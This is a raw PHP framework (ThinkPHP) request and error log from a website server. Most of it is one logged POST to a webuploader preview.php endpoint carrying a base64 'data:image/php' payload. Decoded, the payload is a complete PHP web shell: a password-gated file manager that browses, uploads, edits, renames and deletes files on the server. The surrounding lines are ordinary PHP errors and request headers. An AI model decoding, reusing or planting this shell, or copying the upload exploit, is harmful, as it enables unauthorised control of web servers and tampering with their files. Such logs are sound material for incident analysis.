directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:52+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002569s] [吞吐率:389.23req/s] [内存消耗:196.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:56+08:00 ] 116.213.36.234 POST 